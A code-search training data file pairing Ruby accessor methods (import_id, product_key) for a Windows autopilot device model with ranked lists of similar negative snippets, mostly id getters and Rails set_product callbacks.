file_set\n return file_set.id.to_s unless @config && visibility\n \"#{@config[visibility][:workspace]}:p-#{file_set.id}\" if @config[visibility][:workspace]\n end", "def id\n @entry.at_xpath('cda:act/cda:id/@root').value\n end", "def id\n @entry_id ||= @url\n end", "def getId()\n @obj.getId()\n end", "def automation_id\n @attributes[:automation_id]\n end", "def get_by_id(import_id, opts = {})\n data, _status_code, _headers = get_by_id_with_http_info(import_id, opts)\n data\n end", "def id\n return @discovery_document['id']\n end", "def id\n @gapi[\"id\"]\n end", "def id\n @gapi[\"id\"]\n end", "def set_import_job\n @import_job = ImportJob.find(params[:id])\n end", "def importing\n @dataset = Dataset.where(id: params.fetch(:id)).first\n render plain: @dataset.import_status\n end", "def to_i\n @id\n end", "def to_i\n @id\n end", "def to_i\n @id\n end", "def to_i\n @id\n end", "def id\n (read_property 'Id') || name\n end", "def id\n @entry_id || @url\n end", "def delete_importer(id)\n return @client.raw(\"delete\", \"/config/importers/#{id}\")\n end", "def _id\n @attributes && @attributes[:_id]\n end", "def get_import_task(opts = {})\n data, _status_code, _headers = get_import_task_with_http_info(opts)\n data\n end", "def id\n read_attr :id, :to_sym\n end", "def window_id(window)\n window.id_.get\n end", "def window_id(window)\n window.id_.get\n end", "def window_id(window)\n window.id_.get\n end", "def id\n @attributes.fetch('id', nil)\n end", "def id\n @attributes.fetch('id', nil)\n end", "def id\n @attributes.fetch('id', nil)\n end", "def get_legacy_ingest_id( dirname )\n\n begin\n f = File.join( dirname, TaskHelpers::INGEST_ID_FILE )\n File.open( f, 'r') do |file|\n id = file.read( )\n return id\n end\n rescue => e\n end\n return ''\n\n end", "def comp_id\n @comp_id ||= Component.next_comp_id\n end", "def import\n @scenario_xml = parse(src)\n \n DB.transaction do\n @scenario = Scenario.create_from_xml(scenario_xml)\n end\n \n return scenario[:id]\n end", "def consent_id\n Rails.configuration.x.true_layer.client_id\n end", "def id\n return \"com.sketchup.importers.seene\"\n end", "def import_params\n params[:import]\n end", "def id\n raise NotConfiguredError, \"please configure DCell with DCell.setup\" unless @configuration\n @configuration['id']\n end", "def trace_id\n @trace_data.trace_id\n end", "def media_leg_id\n return @media_leg_id\n end", "def id\n @uid\n end", "def set_import_order\n @import_order = ImportOrder.find(params[:id])\n end", "def id\n return (\n @discovery_document['id'] ||\n \"#{self.name}:#{self.version}\"\n )\n end", "def id\n hid\n end", "def set_csv_import\n @csv_import = CsvImport.find(params[:id])\n end", "def oid\n id(get_oid())\n end", "def extract_product_id(order_line_product_id)\n api.lookup_product(order_line_product_id)['number']\n end", "def id\n data[:id]\n end", "def get_identifier\n identifier = get_project_name\n fail(\n ActiveRecord::RecordNotFound,\n \"Project identifier not specified\"\n ) if identifier.nil?\n identifier.to_s\n end", "def id\n @values[:id]\n end", "def id\n @values[:id]\n end", "def id\n @properties[self.class.primary_key].to_i unless new_record?\n end", "def legacy_id\n return @legacy_id\n end", "def id\n source.split('/')[-1].split('_')[0]\n end", "def get_id()\n return @id\n end", "def trace_id\n self.current_trace ? self.current_trace.id : nil\n end", "def export_id\n if members.empty?\n nil\n else\n members.first.external_id\n end\n end", "def id\n read_attribute(self.class.primary_key)\n end", "def id\n read_attribute(self.class.primary_key)\n end", "def get_id\n return @m_id\n end", "def get_id\n return @m_id\n end", "def get_id\n return @m_id\n end", "def get_id\n return @m_id\n end", "def get_id\n return @m_id\n end", "def id\n return @values['ai.operation.id'] if @values.key?('ai.operation.id')\n @defaults['ai.operation.id']\n end", "def primary_pack_id\n data[:primary_pack_id]\n end", "def id\n if @id.nil?\n @id = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"atom10:id/text()\",\n \"atom03:id/text()\",\n \"atom:id/text()\",\n \"id/text()\",\n \"guid/text()\"\n ], :select_result_value => true),\n FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"atom10:id/text()\",\n \"atom03:id/text()\",\n \"atom:id/text()\",\n \"id/text()\",\n \"guid/text()\"\n ], :select_result_value => true)\n ])\n end\n return @id\n end", "def web_order_line_item_id\n read('web_order_line_item_id')\n end", "def get_importers_pusher_key\n return @client.raw(\"get\", \"/config/pusher_key\")\n end", "def id\n @attributes[\"#{self.class.to_s.split('::').last.underscore.downcase}_id\".to_sym]\n end" ]
[ "0.7528263", "0.56846404", "0.56846404", "0.56846404", "0.5631391", "0.5570709", "0.5436435", "0.52523243", "0.5170957", "0.5113595", "0.5111083", "0.5110832", "0.50994015", "0.5068636", "0.50657415", "0.5061992", "0.5054191", "0.50173575", "0.49988312", "0.4989196", "0.4989196", "0.4989196", "0.4989196", "0.49852437", "0.49852437", "0.49852437", "0.49852437", "0.49828804", "0.49783033", "0.49737218", "0.49715927", "0.49560592", "0.49339718", "0.49337748", "0.4933076", "0.49258274", "0.49238604", "0.49121693", "0.4911289", "0.48784927", "0.4867721", "0.4860929", "0.4860929", "0.48607266", "0.48597383", "0.48374858", "0.48374858", "0.48374858", "0.48374858", "0.48371318", "0.4836723", "0.48072055", "0.480451", "0.4804401", "0.48041177", "0.48021784", "0.48021784", "0.48021784", "0.4784298", "0.4784298", "0.4784298", "0.47759083", "0.47595352", "0.47567376", "0.47532558", "0.47503057", "0.4748702", "0.47426212", "0.47367746", "0.47318047", "0.47313467", "0.47273922", "0.47042865", "0.46908283", "0.46892914", "0.4687489", "0.46791098", "0.46770087", "0.46735936", "0.4668009", "0.4668009", "0.4663162", "0.46616915", "0.46583208", "0.46417874", "0.46354094", "0.4630841", "0.4629159", "0.4629159", "0.4625379", "0.4625379", "0.4625379", "0.4625379", "0.4625379", "0.46252346", "0.46196663", "0.46196273", "0.4617355", "0.4608039", "0.46078658" ]
0.8241686
0
Sets the importId property value. The Import Id of the Windows autopilot device.
def import_id=(value) @import_id = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_import\n @import = Import.find(params[:id])\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def set_imports_import\n @imports_import = Imports::Import.find(params[:imports_import_id])\n end", "def set_import\n @import = Import.find(params[:id])\n end", "def import_id\n return @import_id\n end", "def set_import_order\n @import_order = ImportOrder.find(params[:id])\n end", "def set_import_job\n @import_job = ImportJob.find(params[:id])\n end", "def set_csv_import\n @csv_import = CsvImport.find(params[:id])\n end", "def set_sales_import\n @sales_import = SalesImport.find(params[:id])\n end", "def set_import_manager\n @import_manager = ImportManager.find(params[:id])\n end", "def set_ledger_import\n puts \"Action = #{request[:action]}\"\n @ledger_import = LedgerImport.find(params[:id])\n end", "def set_batch_import\n @batch_import = BatchImport.find_by(id: params[:id])\n end", "def set_import_error\n @import_error = current_user.import_errors.find(params[:id])\n end", "def set_import_avatar\n @import_avatar = ImportAvatar.find(params[:id])\n end", "def update\n @import = Import.find(params[:id])\n\n if @import.update_attributes(params[:import])\n redirect_to edit_import_path(@import), notice: 'Import was successfully updated.'\n else\n render action: \"edit\"\n end\n end", "def set_import_survey\n @import_survey = ImportSurvey.find(params[:id])\n end", "def set_id(num)\n @id = num\n end", "def id=(value)\n if value == @defaults['ai.device.id']\n @values.delete 'ai.device.id' if @values.key? 'ai.device.id'\n else\n @values['ai.device.id'] = value\n end\n end", "def set_file_group_id(client, id)\n self.config[client]['file_group_id'] = id\n end", "def set_id\n @id = Id.find(params[:id])\n end", "def delete_importer(id)\n return @client.raw(\"delete\", \"/config/importers/#{id}\")\n end", "def update\n @import = @business.imports.find(params[:id])\n\n respond_to do |format|\n if @import.update_attributes(import_params || {})\n format.html { redirect_to business_import_path(@business, @import), notice: 'Import was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @import.errors, status: :unprocessable_entity }\n end\n end\n end", "def id=(id)\n if id.nil?\n fail ArgumentError, 'id cannot be nil'\n end\n\n pattern = Regexp.new(/^upl_[a-zA-Z0-9]+$/)\n if id !~ pattern\n fail ArgumentError, \"invalid value for \\\"id\\\", must conform to the pattern #{pattern}.\"\n end\n\n @id = id\n end", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def set_StartID(value)\n set_input(\"StartID\", value)\n end", "def enter_media_id_num(data_set)\n media_id_num = data_set[CoreMediaHandlingData::MEDIA_ID_NUM.name]\n logger.debug \"Entering id number '#{media_id_num}'\"\n id_num_options_locator = input_options_locator([], CoreMediaHandlingData::MEDIA_ID_NUM.name)\n wait_for_options_and_type(id_num_input_locator, id_num_options_locator, media_id_num)\n end", "def set_imported_expense\n @imported_expense = ImportedExpense.find(params[:id])\n end", "def set_rets_import\n @rets_import = RetsImport.find(params[:id])\n end", "def update\n @import = Import.find(params[:id])\n\n respond_to do |format|\n if @import.update_attributes(params[:import])\n format.html { redirect_to @import, notice: 'Import was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @import.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @import = Import.find(params[:id])\n\n respond_to do |format|\n if @import.update_attributes(params[:import])\n format.html { redirect_to @import, notice: 'Import was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @import.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_ct_gov_import_export\n @ct_gov_import_export = CtGovImportExport.find(params[:id])\n end", "def import!\n return selected_importer.import!\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_id(id)\n unless id.nil?\n @id = id\n end\n @id\n end", "def set_client_id(id)\n @client_id = id.is_a?(Integer) ? [id].pack(\"N\") : id.to_s\n end", "def update!(**args)\n @custom_data_import_uids = args[:custom_data_import_uids] if args.key?(:custom_data_import_uids)\n end", "def o_id\n return if model.o_id.nil?\n return model.o_id if model.import_object.nil?\n\n h.auto_link(model.import_object, model.o_id.to_s)\n end", "def update\n @importdatum = Importdatum.find(params[:id])\n \n respond_to do |format|\n if @importdatum.update_attributes(params[:importdatum])\n format.html { redirect_to @importdatum, notice: 'Importdatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @importdatum.errors, status: :unprocessable_entity }\n end\n end\n end", "def drive_id=(value)\n @drive_id = value\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def set_ID(value)\n set_input(\"ID\", value)\n end", "def assign_id\n self.id = self.class.identifier(self.module, resource, action)\n end", "def id=(id)\n @attributes.occi!.core!.id = id\n @id = id\n end", "def id=(v)\r\n @id = v\r\n end", "def set_import_trial_log_datum\n @import_trial_log_datum = ImportTrialLogDatum.find(params[:id])\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def id=(value)\n @id = value\n end", "def clean_import_key\n self.import_key = generate_import_key(self) if import_key.blank?\n end", "def create\n @publisher = Publisher.find(params[:publisher_id])\n @import = Import.new(params[:import])\n @import.publisher = @publisher\n\n if @import.save\n redirect_to edit_import_path(@import), notice: 'Import was successfully created.'\n else\n render action: \"new\"\n end\n\n end", "def _id=(value)\n @id = value.to_s\n end", "def id=(id)\n if id.nil?\n fail ArgumentError, 'id cannot be nil'\n end\n\n pattern = Regexp.new(/^ltr_[a-zA-Z0-9]+$/)\n if id !~ pattern\n fail ArgumentError, \"invalid value for \\\"id\\\", must conform to the pattern #{pattern}.\"\n end\n\n @id = id\n end", "def id=(newid)\n @id = Integer(newid)\n end", "def id=(newid)\n @id = Integer(newid)\n end", "def id=(newid)\n @id = Integer(newid)\n end", "def update\n @importation = Importation.find(params[:id])\n \n respond_to do |format|\n if @importation.update_attributes(params[:importation])\n format.html { redirect_to edit_admin_importation_path(@importation.id), notice: 'La importacion ha sido actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @importation.errors, status: :unprocessable_entity }\n end\n end\n end", "def _id=(id)\n @_id = id.to_s # in case of BSON::ObjectId\n end", "def import_file_path\n @import_file_path ||= real_import_file_path\n end", "def assign_id\n Sufia::IdService.mint if Sufia.config.enable_noids\n end", "def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end", "def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end", "def set_EntryID(value)\n set_input(\"EntryID\", value)\n end" ]
[ "0.71332693", "0.71332693", "0.71332693", "0.69587696", "0.69079155", "0.6735145", "0.6099198", "0.60803604", "0.60089505", "0.5708596", "0.5529925", "0.55043834", "0.5451965", "0.5360999", "0.5251674", "0.5168001", "0.51387125", "0.51029664", "0.5060682", "0.50552183", "0.5008941", "0.4962011", "0.49571997", "0.49171218", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49127552", "0.49000332", "0.48859686", "0.48787403", "0.48707962", "0.486464", "0.486464", "0.48543602", "0.48485005", "0.4843955", "0.48368737", "0.4821205", "0.4785883", "0.477597", "0.47570598", "0.47500974", "0.47392896", "0.47392896", "0.47392896", "0.47392896", "0.47384152", "0.4738148", "0.4738148", "0.4738148", "0.4737925", "0.4737925", "0.4737925", "0.4737925", "0.4737925", "0.4737925", "0.4737925", "0.4737925", "0.47195277", "0.47163278", "0.47158718", "0.47109598", "0.47096995", "0.47096995", "0.47096995", "0.47096995", "0.47096995", "0.47096995", "0.47096995", "0.4695478", "0.46944258", "0.46798655", "0.4653453", "0.46361285", "0.46361285", "0.46361285", "0.46327516", "0.46194312", "0.46013927", "0.45992014", "0.45980895", "0.45980895", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022", "0.45726022" ]
0.8216101
0
Gets the productKey property value. Product Key of the Windows autopilot device.
def product_key return @product_key end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def product_key=(value)\n @product_key = value\n end", "def product_key=(value)\n @product_key = value\n end", "def product_id\n read('product_id')\n end", "def get_product_key(mfg, product)\n data = YAML.load(open_file('tires', mfg))\n key = data.fetch(product)\n end", "def product\n self[\"ProductName\"]\n end", "def enriched_key\n \"product.#{service.id}.#{id}\"\n end", "def product_name\n return @product_name\n end", "def product_id\n params['product_id']\n end", "def currentProduct()\n @products[@current_product]\n end", "def kms_key\n @gapi.kms_key_name\n end", "def get_prodid\n\t\t@attributes[:app_prod_id]\n\tend", "def kms_key_id\n data[:kms_key_id]\n end", "def kms_key_id\n data[:kms_key_id]\n end", "def custom_key_identifier\n return @custom_key_identifier\n end", "def custom_key_identifier\n return @custom_key_identifier\n end", "def registry_key\n return @registry_key\n end", "def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end", "def key_id\n GlobalConstant::Aws::Kms.get_key_id_for(@purpose)\n end", "def physical_device_id\n return @physical_device_id\n end", "def get_key\n os = $driver.capabilities.platform.to_s.upcase\n if os.to_s == 'WINDOWS' || os.to_s == 'LINUX'\n return 'control'\n elsif os.to_s == 'DARWIN'\n return 'command'\n else\n raise 'Invalid OS'\n end\nend", "def key\n attributes['key'] or raise NoKeySpecified\n end", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def get_key(key)\n\t\t\tif @prod_env\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_prod\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_prod\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif key == 'secret'\n\t\t\t\t\t@secret_key_dev\n\t\t\t\telsif key == 'public'\n\t\t\t\t\t@public_key_dev\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def auto_renew_product_id\n read('auto_renew_product_id')\n end", "def key\n return @key\n end", "def key\n return @key\n end", "def kms_key_id\n @dbi.kms_key_id\n end", "def kms_key_id\n @dbi.kms_key_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def device_id\n return @device_id\n end", "def get_product product_id\n # Retrieve the product that was just created\n @server.call(\"call\", @session_id, \"catalog_product.info\", [product_id, @current_store_id, [\"image\"]])\n rescue XMLRPC::FaultException => exception\n return exception\n end", "def private_key\n @key\n end", "def key\n refresh_key unless key_valid?\n @key\n end", "def key\n @key or raise MissingKey\n end", "def key_id\n metadata[\"keyid\"]\n end", "def bit_locker_encrypt_device\n return @bit_locker_encrypt_device\n end", "def key_credentials\n return @key_credentials\n end", "def device_id\n apn_device_token\n end", "def key\n @key ||= name.to_s\n end", "def adapter_key\n @key ||= Key.new(@feature.name, key)\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def device_name\n return @device_name\n end", "def key\n @key\n end", "def key\n @key\n end", "def key\n key = self.name\n key = Economic::Support::String.demodulize(key)\n key = Economic::Support::String.underscore(key)\n key.intern\n end", "def hardware_identifier\n return @hardware_identifier\n end", "def product_info\n {\n product_name: {\n default_value: 'similarity detection reference tool'\n },\n product_version: '1.0',\n description: {\n default_value: 'LTI 2.1 tool provider reference implementation'\n },\n product_family: {\n code: 'similarity detection reference tool',\n vendor: {\n code: 'Instructure.com',\n vendor_name: {\n default_value: 'Instructure'\n },\n description: {\n default_value: 'Canvas Learning Management System'\n }\n }\n }\n }\n end", "def api_key_id\n @attributes[:api_key_id]\n end", "def platform_name\n capabilities['platformName']\n end", "def key\n long || short\n end", "def key\n @registry.send :_key, @worker_group, @registry.localize(ppid)\n end", "def key\n @attributes[:key]\n end", "def key\n @attributes[:key]\n end", "def product_name\n options = extensions[:Middlemac].options\n options.Targets[options.Target][:ProductName]\n end", "def key\n @key.id2name\n end", "def get_serial_number(data)\n data['product']['serial_number'] || 'n/a'\n end", "def rp_key\r\n self.class.rp_key\r\n end", "def key\n attributes[:key]\n end", "def get_key record\n record\n end", "def unique_key\n @unique_key ||= section.identifier\n end", "def key\n self.class._key\n end", "def product\n nic_view.product\n end", "def key\n (key_name || name).to_sym\n end", "def product_info\n params['productinfo']\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def key\n @key ||= self.project.key + '-' + self.no.to_s\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def extract_product_id(order_line_product_id)\n api.lookup_product(order_line_product_id)['number']\n end", "def key\n Net::HTTP.get(@uri.host, \"#{@uri.request_uri}key\", @uri.port)\n end", "def encryption_key\n\tself.data_encrypting_key ||= DataEncryptingKey.primary\n\tdata_encrypting_key.key\n end", "def product_info\n params['productinfo']\n end", "def transport_key\n return @transport_key\n end", "def key_name\n data[:key_name]\n end", "def app_config_key\n return @app_config_key\n end", "def product_instance\n IMS::LTI::Models::ProductInstance.new.from_json(\n guid: 'be42ae52-23fe-48f5-a783-40ecc7ef6d5c',\n product_info: product_info\n )\n end", "def getTokenProduct( entity_id, product_id, language, portal_name, flatpack_id, source, channel, campaign)\n params = Hash.new\n params['entity_id'] = entity_id\n params['product_id'] = product_id\n params['language'] = language\n params['portal_name'] = portal_name\n params['flatpack_id'] = flatpack_id\n params['source'] = source\n params['channel'] = channel\n params['campaign'] = campaign\n return doCurl(\"get\",\"/token/product\",params)\n end", "def key\n raise 'Not implemented'\n end", "def key\n raise 'Not implemented'\n end", "def get_product_info\n @client.call(self.class, __callee__.to_s, @call_params)\n end", "def productVersion \n \"productVersion\" \n end", "def license_key\n config.license_key ||= create_license_key\n end", "def platform\n fetch('device.platform')\n end", "def generate_new_key(device: nil)\n password = nil\n dev_id = nil\n get_device(device: device) do |device|\n telnet_config = {\n 'Host' => device.ip,\n 'Port' => 8080\n }\n connection = Net::Telnet.new(telnet_config)\n connection.puts(\"genkey\")\n waitfor_config = {\n 'Match' => /./,\n 'Timeout' => false\n }\n password = nil\n dev_id = nil\n while password.nil? or dev_id.nil?\n connection.waitfor(waitfor_config) do |txt|\n while line = txt.slice!(/^.*\\n/) do\n words = line.split\n if words[0] == \"Password:\"\n password = words[1]\n elsif words[0] == \"DevID:\"\n dev_id = words[1]\n end\n end\n end\n end\n connection.close\n end\n return password, dev_id\n end", "def product_version\n options = extensions[:Middlemac].options\n options.Targets[options.Target][:ProductVersion]\n end", "def device\n device_name\n end", "def key\n @key\n end", "def key\n @key\n end", "def get key\n deserialize backend.get key.to_s rescue nil\n end", "def product_property_version_id(product_property_id:)\n if status[:product_properties]\n status[:product_properties].collect do |item|\n item[:product_property_version_id] if item[:product_property_id] == product_property_id\n end.compact.first\n else\n nil\n end\n end", "def key\n \"gem-package-#{name}\"\n end", "def click_key\n key = \"#{TestChamber.current_device.normalized_id}.#{click_key_offer_part}\"\n\n # NOTE: Click keys with leading periods seems to happen because in tjs application_controller strips out \"hardware identifiers\" for android 10.1 requests\n # which included udid. But the ClickRequest class uses udid as the first part of the click key of \"#{params[:udid]}.offer_id\" and if its gone the\n # click key has no first part and starts with .offer_id. There are before_filters that are supposed to put values into params[:udid]\n # but they don't work in all cases. Investigating this as a bug in TJS.\n raise \"invalid click key #{key}. It's very likely that some offer parameters are misconfigured #{key}\" if key.start_with?('.')\n key\n end", "def key\n self.class.item_name\n end", "def full_key\n [name, key].join(\"/\")\n end" ]
[ "0.71052", "0.71052", "0.65456605", "0.6536803", "0.6341489", "0.59433043", "0.5859368", "0.5786929", "0.57842684", "0.57315797", "0.56997687", "0.56843996", "0.56843996", "0.5618955", "0.5618955", "0.5616199", "0.5596805", "0.5596805", "0.55737513", "0.55473846", "0.5533415", "0.5524427", "0.5514248", "0.55093205", "0.55093205", "0.55093205", "0.550588", "0.5501718", "0.5501718", "0.55005616", "0.55005616", "0.54731566", "0.54731566", "0.54731566", "0.54731566", "0.5454958", "0.54405487", "0.543892", "0.54283226", "0.5410238", "0.5379943", "0.5369468", "0.5368376", "0.5332035", "0.5306879", "0.5302798", "0.5302798", "0.5302798", "0.5294297", "0.5294297", "0.5284391", "0.52685046", "0.52661514", "0.52658206", "0.52638286", "0.52411366", "0.52346206", "0.5229238", "0.5229238", "0.52118635", "0.521034", "0.5208505", "0.52066547", "0.5203978", "0.5183864", "0.517032", "0.51626134", "0.515895", "0.5152999", "0.5136927", "0.51285315", "0.5125541", "0.51168567", "0.5110624", "0.50856614", "0.50775415", "0.5074547", "0.5070765", "0.5063337", "0.5061989", "0.5057056", "0.504457", "0.5039865", "0.5039865", "0.503136", "0.5029084", "0.5025319", "0.5009475", "0.50003815", "0.49968645", "0.49867633", "0.49782655", "0.49782655", "0.4975343", "0.4974316", "0.49736923", "0.49587643", "0.49551624", "0.49496624" ]
0.77352536
1
Sets the productKey property value. Product Key of the Windows autopilot device.
def product_key=(value) @product_key = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def product_key\n return @product_key\n end", "def product_key\n return @product_key\n end", "def set_Product(value)\n set_input(\"Product\", value)\n end", "def set_product\n @product = current_api_v1_user.products.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:product_id])\n # logger.debug \"product #{@product.id}\"\n end", "def set_product_product\n @product_product = Product::Product.find(params[:id])\n end", "def set_product\n\t\t\t@product = Product.find(params[:product_id])\n\t\tend", "def set_product\n @product = Product.friendly.find(params[:id])\n # logger.debug \"product #{@product.id}\"\n end", "def set_product_name\n set_product_name_link.click\n end", "def set_product_product_attribute\n @product_product_attribute = ProductProductAttribute.find(params[:id])\n end", "def set_product_product_group\n @product_product_group = ProductProductGroup.find(params[:id])\n end", "def set_product(product_name)\n if can_select_product?(product_name)\n @selection = product_from_name(product_name)\n else\n get_selection_error(product_name)\n end\n end", "def set_product\n #クライアントから入力された商品IDの情報をすでに登録されているDBから取ってくる \n #/product/1\n @product = Product.find(params[:id])\n \n end", "def set_product\n @product = Product.find(params[:product_id])\n end", "def set_product\n #@product = Product.find(params[:id])\n end", "def set_product\r\n\t\t\t@product = @application.products.find(params[:id])\r\n\t\tend", "def set_product\n\t @product = Product.friendly.find(params[:id])\n\t end", "def set_product\n @product = Product.find(params[:product_id]) if params[:product_id]\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def product_name=(value)\n @product_name = value\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = current_seller.product.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def set_product\n @product = Product.friendly.find(params[:id])\n end", "def product=(input)\n @product = case input\n when Product\n input\n when String\n Product.find(input)\n when Hash\n @_product_id = input[:sku] if input[:sku]; nil\n end\n end", "def set_product\n \n @product = Product.find(params[:id].to_i)\n end", "def set_product\n @product = params[:id] ? Product.find(params[:id]) : Product.find(params[:product_id])\n end", "def set_product\n @product = product.find(params[:id])\n end", "def set_product\n\t\t@product = params[:id]\n\tend", "def set_product\n\t @product = Product.find(params[:id])\n\t end", "def set_product\n @product = Product.friendly.find params[:id]\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = Product.find(params[:id])\n end", "def set_product\n @product = 